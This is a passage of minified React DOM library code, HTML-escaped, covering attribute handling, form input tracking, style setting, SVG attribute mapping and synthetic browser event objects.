t=e.tag;if(t===5||t===26||t===27||t===6)return e.stateNode;throw Error(r(33))}function vl(e){var t=e[Er];return t||(t=e[Er]={hoistableStyles:new Map,hoistableScripts:new Map}),t}function at(e){e[un]=!0}var _r=new Set,Tr={};function Fa(e,t){yl(e,t),yl(e+&quot;Capture&quot;,t)}function yl(e,t){for(Tr[e]=t,e=0;e&lt;t.length;e++)_r.add(t[e])}var Sh=RegExp(&quot;^[:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD][:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040]*$&quot;),Ar={},Cr={};function Nh(e){return Ri.call(Cr,e)?!0:Ri.call(Ar,e)?!1:Sh.test(e)?Cr[e]=!0:(Ar[e]=!0,!1)}function us(e,t,a){if(Nh(t))if(a===null)e.removeAttribute(t);else{switch(typeof a){case&quot;undefined&quot;:case&quot;function&quot;:case&quot;symbol&quot;:e.removeAttribute(t);return;case&quot;boolean&quot;:var l=t.toLowerCase().slice(0,5);if(l!==&quot;data-&quot;&amp;&amp;l!==&quot;aria-&quot;){e.removeAttribute(t);return}}e.setAttribute(t,&quot;&quot;+a)}}function cs(e,t,a){if(a===null)e.removeAttribute(t);else{switch(typeof a){case&quot;undefined&quot;:case&quot;function&quot;:case&quot;symbol&quot;:case&quot;boolean&quot;:e.removeAttribute(t);return}e.setAttribute(t,&quot;&quot;+a)}}function aa(e,t,a,l){if(l===null)e.removeAttribute(a);else{switch(typeof l){case&quot;undefined&quot;:case&quot;function&quot;:case&quot;symbol&quot;:case&quot;boolean&quot;:e.removeAttribute(a);return}e.setAttributeNS(t,a,&quot;&quot;+l)}}function Mt(e){switch(typeof e){case&quot;bigint&quot;:case&quot;boolean&quot;:case&quot;number&quot;:case&quot;string&quot;:case&quot;undefined&quot;:return e;case&quot;object&quot;:return e;default:return&quot;&quot;}}function zr(e){var t=e.type;return(e=e.nodeName)&amp;&amp;e.toLowerCase()===&quot;input&quot;&amp;&amp;(t===&quot;checkbox&quot;||t===&quot;radio&quot;)}function Eh(e,t,a){var l=Object.getOwnPropertyDescriptor(e.constructor.prototype,t);if(!e.hasOwnProperty(t)&amp;&amp;typeof l&lt;&quot;u&quot;&amp;&amp;typeof l.get==&quot;function&quot;&amp;&amp;typeof l.set==&quot;function&quot;){var n=l.get,i=l.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return n.call(this)},set:function(o){a=&quot;&quot;+o,i.call(this,o)}}),Object.defineProperty(e,t,{enumerable:l.enumerable}),{getValue:function(){return a},setValue:function(o){a=&quot;&quot;+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function Bi(e){if(!e._valueTracker){var t=zr(e)?&quot;checked&quot;:&quot;value&quot;;e._valueTracker=Eh(e,t,&quot;&quot;+e[t])}}function Rr(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var a=t.getValue(),l=&quot;&quot;;return e&amp;&amp;(l=zr(e)?e.checked?&quot;true&quot;:&quot;false&quot;:e.value),e=l,e!==a?(t.setValue(e),!0):!1}function rs(e){if(e=e||(typeof document&lt;&quot;u&quot;?document:void 0),typeof e&gt;&quot;u&quot;)return null;try{return e.activeElement||e.body}catch{return e.body}}var _h=/[\n&quot;\\]/g;function Ut(e){return e.replace(_h,function(t){return&quot;\\&quot;+t.charCodeAt(0).toString(16)+&quot; &quot;})}function Li(e,t,a,l,n,i,o,h){e.name=&quot;&quot;,o!=null&amp;&amp;typeof o!=&quot;function&quot;&amp;&amp;typeof o!=&quot;symbol&quot;&amp;&amp;typeof o!=&quot;boolean&quot;?e.type=o:e.removeAttribute(&quot;type&quot;),t!=null?o===&quot;number&quot;?(t===0&amp;&amp;e.value===&quot;&quot;||e.value!=t)&amp;&amp;(e.value=&quot;&quot;+Mt(t)):e.value!==&quot;&quot;+Mt(t)&amp;&amp;(e.value=&quot;&quot;+Mt(t)):o!==&quot;submit&quot;&amp;&amp;o!==&quot;reset&quot;||e.removeAttribute(&quot;value&quot;),t!=null?Gi(e,o,Mt(t)):a!=null?Gi(e,o,Mt(a)):l!=null&amp;&amp;e.removeAttribute(&quot;value&quot;),n==null&amp;&amp;i!=null&amp;&amp;(e.defaultChecked=!!i),n!=null&amp;&amp;(e.checked=n&amp;&amp;typeof n!=&quot;function&quot;&amp;&amp;typeof n!=&quot;symbol&quot;),h!=null&amp;&amp;typeof h!=&quot;function&quot;&amp;&amp;typeof h!=&quot;symbol&quot;&amp;&amp;typeof h!=&quot;boolean&quot;?e.name=&quot;&quot;+Mt(h):e.removeAttribute(&quot;name&quot;)}function Or(e,t,a,l,n,i,o,h){if(i!=null&amp;&amp;typeof i!=&quot;function&quot;&amp;&amp;typeof i!=&quot;symbol&quot;&amp;&amp;typeof i!=&quot;boolean&quot;&amp;&amp;(e.type=i),t!=null||a!=null){if(!(i!==&quot;submit&quot;&amp;&amp;i!==&quot;reset&quot;||t!=null)){Bi(e);return}a=a!=null?&quot;&quot;+Mt(a):&quot;&quot;,t=t!=null?&quot;&quot;+Mt(t):a,h||t===e.value||(e.value=t),e.defaultValue=t}l=l??n,l=typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;&amp;&amp;!!l,e.checked=h?e.checked:!!l,e.defaultChecked=!!l,o!=null&amp;&amp;typeof o!=&quot;function&quot;&amp;&amp;typeof o!=&quot;symbol&quot;&amp;&amp;typeof o!=&quot;boolean&quot;&amp;&amp;(e.name=o),Bi(e)}function Gi(e,t,a){t===&quot;number&quot;&amp;&amp;rs(e.ownerDocument)===e||e.defaultValue===&quot;&quot;+a||(e.defaultValue=&quot;&quot;+a)}function gl(e,t,a,l){if(e=e.options,t){t={};for(var n=0;n&lt;a.length;n++)t[&quot;$&quot;+a[n]]=!0;for(a=0;a&lt;e.length;a++)n=t.hasOwnProperty(&quot;$&quot;+e[a].value),e[a].selected!==n&amp;&amp;(e[a].selected=n),n&amp;&amp;l&amp;&amp;(e[a].defaultSelected=!0)}else{for(a=&quot;&quot;+Mt(a),t=null,n=0;n&lt;e.length;n++){if(e[n].value===a){e[n].selected=!0,l&amp;&amp;(e[n].defaultSelected=!0);return}t!==null||e[n].disabled||(t=e[n])}t!==null&amp;&amp;(t.selected=!0)}}function Dr(e,t,a){if(t!=null&amp;&amp;(t=&quot;&quot;+Mt(t),t!==e.value&amp;&amp;(e.value=t),a==null)){e.defaultValue!==t&amp;&amp;(e.defaultValue=t);return}e.defaultValue=a!=null?&quot;&quot;+Mt(a):&quot;&quot;}function wr(e,t,a,l){if(t==null){if(l!=null){if(a!=null)throw Error(r(92));if(de(l)){if(1&lt;l.length)throw Error(r(93));l=l[0]}a=l}a==null&amp;&amp;(a=&quot;&quot;),t=a}a=Mt(t),e.defaultValue=a,l=e.textContent,l===a&amp;&amp;l!==&quot;&quot;&amp;&amp;l!==null&amp;&amp;(e.value=l),Bi(e)}function bl(e,t){if(t){var a=e.firstChild;if(a&amp;&amp;a===e.lastChild&amp;&amp;a.nodeType===3){a.nodeValue=t;return}}e.textContent=t}var Th=new Set(&quot;animationIterationCount aspectRatio borderImageOutset borderImageSlice borderImageWidth boxFlex boxFlexGroup boxOrdinalGroup columnCount columns flex flexGrow flexPositive flexShrink flexNegative flexOrder gridArea gridRow gridRowEnd gridRowSpan gridRowStart gridColumn gridColumnEnd gridColumnSpan gridColumnStart fontWeight lineClamp lineHeight opacity order orphans scale tabSize widows zIndex zoom fillOpacity floodOpacity stopOpacity strokeDasharray strokeDashoffset strokeMiterlimit strokeOpacity strokeWidth MozAnimationIterationCount MozBoxFlex MozBoxFlexGroup MozLineClamp msAnimationIterationCount msFlex msZoom msFlexGrow msFlexNegative msFlexOrder msFlexPositive msFlexShrink msGridColumn msGridColumnSpan msGridRow msGridRowSpan WebkitAnimationIterationCount WebkitBoxFlex WebKitBoxFlexGroup WebkitBoxOrdinalGroup WebkitColumnCount WebkitColumns WebkitFlex WebkitFlexGrow WebkitFlexPositive WebkitFlexShrink WebkitLineClamp&quot;.split(&quot; &quot;));function Mr(e,t,a){var l=t.indexOf(&quot;--&quot;)===0;a==null||typeof a==&quot;boolean&quot;||a===&quot;&quot;?l?e.setProperty(t,&quot;&quot;):t===&quot;float&quot;?e.cssFloat=&quot;&quot;:e[t]=&quot;&quot;:l?e.setProperty(t,a):typeof a!=&quot;number&quot;||a===0||Th.has(t)?t===&quot;float&quot;?e.cssFloat=a:e[t]=(&quot;&quot;+a).trim():e[t]=a+&quot;px&quot;}function Ur(e,t,a){if(t!=null&amp;&amp;typeof t!=&quot;object&quot;)throw Error(r(62));if(e=e.style,a!=null){for(var l in a)!a.hasOwnProperty(l)||t!=null&amp;&amp;t.hasOwnProperty(l)||(l.indexOf(&quot;--&quot;)===0?e.setProperty(l,&quot;&quot;):l===&quot;float&quot;?e.cssFloat=&quot;&quot;:e[l]=&quot;&quot;);for(var n in t)l=t[n],t.hasOwnProperty(n)&amp;&amp;a[n]!==l&amp;&amp;Mr(e,n,l)}else for(var i in t)t.hasOwnProperty(i)&amp;&amp;Mr(e,i,t[i])}function Yi(e){if(e.indexOf(&quot;-&quot;)===-1)return!1;switch(e){case&quot;annotation-xml&quot;:case&quot;color-profile&quot;:case&quot;font-face&quot;:case&quot;font-face-src&quot;:case&quot;font-face-uri&quot;:case&quot;font-face-format&quot;:case&quot;font-face-name&quot;:case&quot;missing-glyph&quot;:return!1;default:return!0}}var Ah=new Map([[&quot;acceptCharset&quot;,&quot;accept-charset&quot;],[&quot;htmlFor&quot;,&quot;for&quot;],[&quot;httpEquiv&quot;,&quot;http-equiv&quot;],[&quot;crossOrigin&quot;,&quot;crossorigin&quot;],[&quot;accentHeight&quot;,&quot;accent-height&quot;],[&quot;alignmentBaseline&quot;,&quot;alignment-baseline&quot;],[&quot;arabicForm&quot;,&quot;arabic-form&quot;],[&quot;baselineShift&quot;,&quot;baseline-shift&quot;],[&quot;capHeight&quot;,&quot;cap-height&quot;],[&quot;clipPath&quot;,&quot;clip-path&quot;],[&quot;clipRule&quot;,&quot;clip-rule&quot;],[&quot;colorInterpolation&quot;,&quot;color-interpolation&quot;],[&quot;colorInterpolationFilters&quot;,&quot;color-interpolation-filters&quot;],[&quot;colorProfile&quot;,&quot;color-profile&quot;],[&quot;colorRendering&quot;,&quot;color-rendering&quot;],[&quot;dominantBaseline&quot;,&quot;dominant-baseline&quot;],[&quot;enableBackground&quot;,&quot;enable-background&quot;],[&quot;fillOpacity&quot;,&quot;fill-opacity&quot;],[&quot;fillRule&quot;,&quot;fill-rule&quot;],[&quot;floodColor&quot;,&quot;flood-color&quot;],[&quot;floodOpacity&quot;,&quot;flood-opacity&quot;],[&quot;fontFamily&quot;,&quot;font-family&quot;],[&quot;fontSize&quot;,&quot;font-size&quot;],[&quot;fontSizeAdjust&quot;,&quot;font-size-adjust&quot;],[&quot;fontStretch&quot;,&quot;font-stretch&quot;],[&quot;fontStyle&quot;,&quot;font-style&quot;],[&quot;fontVariant&quot;,&quot;font-variant&quot;],[&quot;fontWeight&quot;,&quot;font-weight&quot;],[&quot;glyphName&quot;,&quot;glyph-name&quot;],[&quot;glyphOrientationHorizontal&quot;,&quot;glyph-orientation-horizontal&quot;],[&quot;glyphOrientationVertical&quot;,&quot;glyph-orientation-vertical&quot;],[&quot;horizAdvX&quot;,&quot;horiz-adv-x&quot;],[&quot;horizOriginX&quot;,&quot;horiz-origin-x&quot;],[&quot;imageRendering&quot;,&quot;image-rendering&quot;],[&quot;letterSpacing&quot;,&quot;letter-spacing&quot;],[&quot;lightingColor&quot;,&quot;lighting-color&quot;],[&quot;markerEnd&quot;,&quot;marker-end&quot;],[&quot;markerMid&quot;,&quot;marker-mid&quot;],[&quot;markerStart&quot;,&quot;marker-start&quot;],[&quot;overlinePosition&quot;,&quot;overline-position&quot;],[&quot;overlineThickness&quot;,&quot;overline-thickness&quot;],[&quot;paintOrder&quot;,&quot;paint-order&quot;],[&quot;panose-1&quot;,&quot;panose-1&quot;],[&quot;pointerEvents&quot;,&quot;pointer-events&quot;],[&quot;renderingIntent&quot;,&quot;rendering-intent&quot;],[&quot;shapeRendering&quot;,&quot;shape-rendering&quot;],[&quot;stopColor&quot;,&quot;stop-color&quot;],[&quot;stopOpacity&quot;,&quot;stop-opacity&quot;],[&quot;strikethroughPosition&quot;,&quot;strikethrough-position&quot;],[&quot;strikethroughThickness&quot;,&quot;strikethrough-thickness&quot;],[&quot;strokeDasharray&quot;,&quot;stroke-dasharray&quot;],[&quot;strokeDashoffset&quot;,&quot;stroke-dashoffset&quot;],[&quot;strokeLinecap&quot;,&quot;stroke-linecap&quot;],[&quot;strokeLinejoin&quot;,&quot;stroke-linejoin&quot;],[&quot;strokeMiterlimit&quot;,&quot;stroke-miterlimit&quot;],[&quot;strokeOpacity&quot;,&quot;stroke-opacity&quot;],[&quot;strokeWidth&quot;,&quot;stroke-width&quot;],[&quot;textAnchor&quot;,&quot;text-anchor&quot;],[&quot;textDecoration&quot;,&quot;text-decoration&quot;],[&quot;textRendering&quot;,&quot;text-rendering&quot;],[&quot;transformOrigin&quot;,&quot;transform-origin&quot;],[&quot;underlinePosition&quot;,&quot;underline-position&quot;],[&quot;underlineThickness&quot;,&quot;underline-thickness&quot;],[&quot;unicodeBidi&quot;,&quot;unicode-bidi&quot;],[&quot;unicodeRange&quot;,&quot;unicode-range&quot;],[&quot;unitsPerEm&quot;,&quot;units-per-em&quot;],[&quot;vAlphabetic&quot;,&quot;v-alphabetic&quot;],[&quot;vHanging&quot;,&quot;v-hanging&quot;],[&quot;vIdeographic&quot;,&quot;v-ideographic&quot;],[&quot;vMathematical&quot;,&quot;v-mathematical&quot;],[&quot;vectorEffect&quot;,&quot;vector-effect&quot;],[&quot;vertAdvY&quot;,&quot;vert-adv-y&quot;],[&quot;vertOriginX&quot;,&quot;vert-origin-x&quot;],[&quot;vertOriginY&quot;,&quot;vert-origin-y&quot;],[&quot;wordSpacing&quot;,&quot;word-spacing&quot;],[&quot;writingMode&quot;,&quot;writing-mode&quot;],[&quot;xmlnsXlink&quot;,&quot;xmlns:xlink&quot;],[&quot;xHeight&quot;,&quot;x-height&quot;]]),Ch=/^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*:/i;function os(e){return Ch.test(&quot;&quot;+e)?&quot;javascript:throw new Error(&#039;React has blocked a javascript: URL as a security precaution.&#039;)&quot;:e}function la(){}var ki=null;function Qi(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&amp;&amp;(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var jl=null,Sl=null;function Hr(e){var t=xl(e);if(t&amp;&amp;(e=t.stateNode)){var a=e[ht]||null;e:switch(e=t.stateNode,t.type){case&quot;input&quot;:if(Li(e,a.value,a.defaultValue,a.defaultValue,a.checked,a.defaultChecked,a.type,a.name),t=a.name,a.type===&quot;radio&quot;&amp;&amp;t!=null){for(a=e;a.parentNode;)a=a.parentNode;for(a=a.querySelectorAll(&#039;input[name=&quot;&#039;+Ut(&quot;&quot;+t)+&#039;&quot;][type=&quot;radio&quot;]&#039;),t=0;t&lt;a.length;t++){var l=a[t];if(l!==e&amp;&amp;l.form===e.form){var n=l[ht]||null;if(!n)throw Error(r(90));Li(l,n.value,n.defaultValue,n.defaultValue,n.checked,n.defaultChecked,n.type,n.name)}}for(t=0;t&lt;a.length;t++)l=a[t],l.form===e.form&amp;&amp;Rr(l)}break e;case&quot;textarea&quot;:Dr(e,a.value,a.defaultValue);break e;case&quot;select&quot;:t=a.value,t!=null&amp;&amp;gl(e,!!a.multiple,t,!1)}}}var Xi=!1;function qr(e,t,a){if(Xi)return e(t,a);Xi=!0;try{var l=e(t);return l}finally{if(Xi=!1,(jl!==null||Sl!==null)&amp;&amp;(Ws(),jl&amp;&amp;(t=jl,e=Sl,Sl=jl=null,Hr(t),e)))for(t=0;t&lt;e.length;t++)Hr(e[t])}}function rn(e,t){var a=e.stateNode;if(a===null)return null;var l=a[ht]||null;if(l===null)return null;a=l[t];e:switch(t){case&quot;onClick&quot;:case&quot;onClickCapture&quot;:case&quot;onDoubleClick&quot;:case&quot;onDoubleClickCapture&quot;:case&quot;onMouseDown&quot;:case&quot;onMouseDownCapture&quot;:case&quot;onMouseMove&quot;:case&quot;onMouseMoveCapture&quot;:case&quot;onMouseUp&quot;:case&quot;onMouseUpCapture&quot;:case&quot;onMouseEnter&quot;:(l=!l.disabled)||(e=e.type,l=!(e===&quot;button&quot;||e===&quot;input&quot;||e===&quot;select&quot;||e===&quot;textarea&quot;)),e=!l;break e;default:e=!1}if(e)return null;if(a&amp;&amp;typeof a!=&quot;function&quot;)throw Error(r(231,t,typeof a));return a}var na=!(typeof window&gt;&quot;u&quot;||typeof window.document&gt;&quot;u&quot;||typeof window.document.createElement&gt;&quot;u&quot;),Vi=!1;if(na)try{var on={};Object.defineProperty(on,&quot;passive&quot;,{get:function(){Vi=!0}}),window.addEventListener(&quot;test&quot;,on,on),window.removeEventListener(&quot;test&quot;,on,on)}catch{Vi=!1}var Ea=null,Zi=null,fs=null;function Br(){if(fs)return fs;var e,t=Zi,a=t.length,l,n=&quot;value&quot;in Ea?Ea.value:Ea.textContent,i=n.length;for(e=0;e&lt;a&amp;&amp;t[e]===n[e];e++);var o=a-e;for(l=1;l&lt;=o&amp;&amp;t[a-l]===n[i-l];l++);return fs=n.slice(e,1&lt;l?1-l:void 0)}function ds(e){var t=e.keyCode;return&quot;charCode&quot;in e?(e=e.charCode,e===0&amp;&amp;t===13&amp;&amp;(e=13)):e=t,e===10&amp;&amp;(e=13),32&lt;=e||e===13?e:0}function ms(){return!0}function Lr(){return!1}function pt(e){function t(a,l,n,i,o){this._reactName=a,this._targetInst=n,this.type=l,this.nativeEvent=i,this.target=o,this.currentTarget=null;for(var h in e)e.hasOwnProperty(h)&amp;&amp;(a=e[h],this[h]=a?a(i):i[h]);return this.isDefaultPrevented=(i.defaultPrevented!=null?i.defaultPrevented:i.returnValue===!1)?ms:Lr,this.isPropagationStopped=Lr,this}return b(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var a=this.nativeEvent;a&amp;&amp;(a.preventDefault?a.preventDefault():typeof a.returnValue!=&quot;unknown&quot;&amp;&amp;(a.returnValue=!1),this.isDefaultPrevented=ms)},stopPropagation:function(){var a=this.nativeEvent;a&amp;&amp;(a.stopPropagation?a.stopPropagation():typeof a.cancelBubble!=&quot;unknown&quot;&amp;&amp;(a.cancelBubble=!0),this.isPropagationStopped=ms)},persist:function(){},isPersistent:ms}),t}var Wa={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},hs=pt(Wa),fn=b({},Wa,{view:0,detail:0}),zh=pt(fn),Ji,Ki,dn,ps=b({},fn,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Fi,button:0,buttons:0,relatedTarget:function(e){return e.relatedTarget===void 0?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return&quot;movementX&quot;in e?e.movementX:(e!==dn&amp;&amp;(dn&amp;&amp;e.type===&quot;mousemove&quot;?(Ji=e.screenX-dn.screenX,Ki=e.screenY-dn.screenY):Ki=Ji=0,dn=e),Ji)},movementY:function(e){return&quot;movementY&quot;in e?e.movementY:Ki}}),Gr=pt(ps),Rh=b({},ps,{dataTransfer:0}),Oh=pt(Rh),Dh=b({},fn,{relatedTarget:0}),$i=pt(Dh),wh=b({},Wa,{animationName:0,elapsedTime:0,pseudoElement:0}),Mh=pt(wh),Uh=b({},Wa,{clipboardData:function(e){return&quot;clipboardData&quot;in e?e.clipboardData:window.clipboardData}}),Hh=pt(Uh),qh=b({},Wa,{data:0}),Yr=pt(qh),Bh={Esc:&quot;Escape&quot;,Spacebar:&quot; &quot;,Left:&quot;ArrowLeft&quot;,Up:&quot;ArrowUp&quot;,Right:&quot;ArrowRight&quot;,Down:&quot;ArrowDown&quot;,Del:&quot;Delete&quot;,Win:&quot;OS&quot;,Menu:&quot;ContextMenu&quot;,Apps:&quot;ContextMenu&quot;,Scroll:&quot;ScrollLock&quot;,MozPrintableKey:&quot;Unidentified&quot;},Lh={8:&quot;Backspace&quot;,9:&quot;Tab&quot;,12:&quot;Clear&quot;,13:&quot;Enter&quot;,16:&quot;Shift&quot;,17:&quot;Control&quot;,18:&quot;Alt&quot;,19:&quot;Pause&quot;,20:&quot;CapsLock&quot;,27:&quot;Escape&quot;,32:&quot; &quot;,33:&quot;PageUp&quot;,34:&quot;PageDown&quot;,35:&quot;End&quot;,36:&quot;Home&quot;,37:&quot;ArrowLeft&quot;,38:&quot;ArrowUp&quot;,39:&quot;ArrowRight&quot;,40:&quot;ArrowDown&quot;,45:&quot;Insert&quot;,46:&quot;Delete&quot;,112:&quot;F1&quot;,113:&quot;F2&quot;,114:&quot;F3&quot;,115:&quot;F4&quot;,116:&quot;F5&quot;,117:&quot;F6&quot;,118:&quot;F7&quot;,119:&quot;F8&quot;,120:&quot;F9&quot;,121:&quot;F10&quot;,122:&quot;F11&quot;,123:&quot;F12&quot;,144:&quot;NumLock&quot;,145:&quot;ScrollLock&quot;,224:&quot;Meta&quot;},Gh={Alt:&quot;altKey&quot;,Control:&quot;ctrlKey&quot;,Meta:&quot;metaKey&quot;,Shift:&quot;shiftKey&quot;};function Yh(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):(e=Gh[e])?!!t[e]:!1}function Fi(){return Yh}var kh=b({},fn,{key:function(e){if(e.key){var t=Bh[e.key]||e.key;if(t!==&quot;Unidentified&quot;)return t}return e.type===&quot;keypress&quot;?(e=ds(e),e===13?&quot;Enter&quot;:String.fromCharCode(e)):e.type===&quot;keydown&quot;||e.type===&quot;keyup&quot;?Lh[e.keyCode]||&quot;Unidentified&quot;:&quot;&quot;},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Fi,charCode:function(e){return e.type===&quot;keypress&quot;?ds(e):0},keyCode:function(e){return e.type===&quot;keydown&quot;||e.type===&quot;keyup&quot;?e.keyCode:0},which:function(e){return e.type===&quot;keypress&quot;?ds(e):e.type===&quot;keydown&quot;||e.type===&quot;keyup&quot;?e.keyCode:0}}),Qh=pt(kh),Xh=b({},ps,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0}),kr=pt(Xh),Vh=b({},fn,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Fi}),Zh=pt(Vh),Jh=b({},Wa,{propertyName:0,elapsedTime:0,pseudoElement:0}),Kh=pt(Jh),$h=b({},ps,{deltaX:function(e){return&quot;deltaX&quot;in e?e.deltaX:&quot;wheelDeltaX&quot;in e?-e.wheelDeltaX:0},deltaY:function(e){return&quot;deltaY&quot;in e?e.deltaY:&quot;wheelDeltaY&quot;in e?-e.wheelDeltaY:&quot;wheelDelta&quot;in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),Fh=pt($h),Wh=b({},Wa,{newState:0,oldState:0}),Ph=pt(Wh),Ih=[9,13,27,32],Wi=na&amp;&amp;&quot;CompositionEvent&quot;in window,mn=null;na&amp;&amp;&quot;documentMode&quot;in document&amp;&amp;(mn=document.documentMode);var e0=na&amp;&amp;&quot;TextEvent&quot;in window&amp;&amp;!mn,Qr=na&amp;&amp;(!Wi||mn&amp;&amp;8&lt;mn&amp;&amp;11&gt;=mn),Xr=&quot; &quot;,Vr=!1;function Zr(e,t){switch(e){case&quot;keyup&quot;:return Ih.indexOf(t.keyCode)!==-1;case&quot;keydown&quot;:return t.keyCode!==229;case&quot;keypress&quot;:case&quot;mousedown&quot;:case&quot;focusout&quot;:return!0;default:return!1}}function Jr(e){return e=e.detail,typeof e==&quot;object&quot;&amp;&amp;&quot;data&quot;in e?e.data:null}var Nl=!1;function t0(e,t){switch(e){case&quot;compositionend&quot;:return Jr(t);case&quot;keypress&quot;:return t.which!==32?null:(Vr=!0,Xr);case&quot;textInput&quot;:return e=t.data,e===Xr&amp;&amp;Vr?null:e;default:return null}}function a0(e,t){if(Nl)return e===&quot;compositionend&quot;||!Wi&amp;&amp;Zr(e,t)?(e=Br(),fs=Zi=Ea=null,Nl=!1,e):null;switch(e){case&quot;paste&quot;:return null;case&quot;keypress&quot;:if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&amp;&amp;t.altKey){if(t.char&amp;&amp;1&lt;t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case&quot;compositionend&quot;:return Qr&amp;&amp;t.locale!==&quot;ko&quot;?null:t.data;default:return null}}var l0={color:!0,date:!0,datetime:!0,&quot;datetime-local&quot;:!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function Kr(e){var t=e&amp;&amp;e.nodeName&amp;&amp;e.nodeName.toLowerCase();return t===&quot;input&quot;?!!l0[e.type]:t===&quot;textarea&quot;}function $r(e,t,a,l){jl?Sl?Sl.push(l):Sl=[l]:jl=l,t=ni(t,&quot;onChange&quot;),0&lt;t.length&amp;&amp;(a=new hs(&quot;onChange&quot;,&quot;change&quot;,null,a,l),e.push({event:a,listeners:t}))}var hn=null,pn=null;function n0(e){wd(e,0)}function xs(e){var t=cn(e);if(Rr(t))return e}function Fr(e,t){if(e===&quot;change&quot;)return t}var Wr=!1;if(na){var Pi;if(na){var Ii=&quot;oninput&quot;in document;if(!Ii){var Pr=document.createElement(&quot;div&quot;);Pr.setAttribute(&quot;oninput&quot;,&quot;return;&quot;),Ii=typeof Pr.oninput==&quot;function&quot;}Pi=Ii}else Pi=!1;Wr=Pi&amp;&amp;(!document.documentMode||9&lt;document.documentMode)}function Ir(){hn&amp;&amp;(hn.detachEvent(&quot;onpropertychange&quot;,eo),pn=hn=null)}function eo(e){if(e.propertyName===&quot;value&quot;&amp;&amp;xs(pn)){var t=[];$r(t,pn,e,Qi(e)),qr(n0,t)}}function s0(e,t,a){e===&quot;focusin&quot;?(Ir(),hn=t,pn=a,hn.attachEvent(&quot;onpropertychange&quot;,eo)):e===&quot;focusout&quot;&amp;&amp;Ir()}function i0(e){if(e===&quot;selectionchange&quot;||e===&quot;keyup&quot;||e===&quot;keydown&quot;)return xs(pn)}function u0(e,t){if(e===&quot;click&quot;)return xs(t)}function c0(e,t){if(e===&quot;input&quot;||e===&quot;change&quot;)return xs(t)}function r0(e,t){return e===t&amp;&amp;(e!==0||1/e===1/t)||e!==e&amp;&amp;t!==t}var _t=typeof Object.is==&quot;function&quot;?Object.is:r0;function xn(e,t){if(_t(e,t))return!0;if(typeof e!=&quot;object&quot;||e===null||typeof t!=&quot;object&quot;||t===null)return!1;var a=Object.keys(e),l=Object.keys(t);if(a.length!==l.length)return!1;for(l=0;l&lt;a.length;l++){var n=a[l];if(!Ri.call(t,n)||!_t(e[n],t[n]))return!1}return!0}function to(e){for(;e&amp;&amp;e.firstChild;)e=e.firstChild;return e}function ao(e,t){var a=to(e);e=0;for(var l;a;){if(a.nodeType===3){if(l=e+a.textContent.length,e&lt;=t&amp;&amp;l&gt;=t)return{node:a,offset:t-e};e=l}e:{for(;a;){if(a.nextSibling){a=a.nextSibling;break e}a=a.parentNode}a=void 0}a=to(a)}}function lo(e,t){return e&amp;&amp;t?e===t?!0:e&amp;&amp;e.nodeType===3?!1:t&amp;&amp;t.nodeType===3?lo(e,t.parentNode):&quot;contains&quot;in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&amp;16):!1:!1}function no(e){e=e!=null&amp;&amp;e.ownerDocument!=null&amp;&amp;e.ownerDocument.defaultView!=null?e.ownerDocument.defaultView:window;for(var t=rs(e.document);t instanceof e.HTMLIFrameElement;){try{var a=typeof t.contentWindow.location.href==&quot;string&quot;}catch{a=!1}if(a)e=t.contentWindow;else break;t=rs(e.document)}return t}function eu(e){var t=e&amp;&amp;e.nodeName&amp;&amp;e.nodeName.toLowerCase();return t&amp;&amp;(t===&quot;input&quot;&amp;&amp;(e.type===&quot;text&quot;||e.type===&quot;search&quot;||e.type===&quot;tel&quot;||e.type===&quot;url&quot;||e.type===&quot;password&quot;)||t===&quot;textarea&quot;||e.contentEditable===&quot;true&quot;)}var o0=na&amp;&amp;&quot;documentMode&quot;in document&amp;&amp;11&gt;=document.documentMode,El=null,tu=null,vn=null,au=!1;function so(e,t,a){var l=a.window===a?a.document:a.nodeType===9?a:a.ownerDocument;au||El==null||El!==rs(l)||(l=El,&quot;selectionStart&quot;in 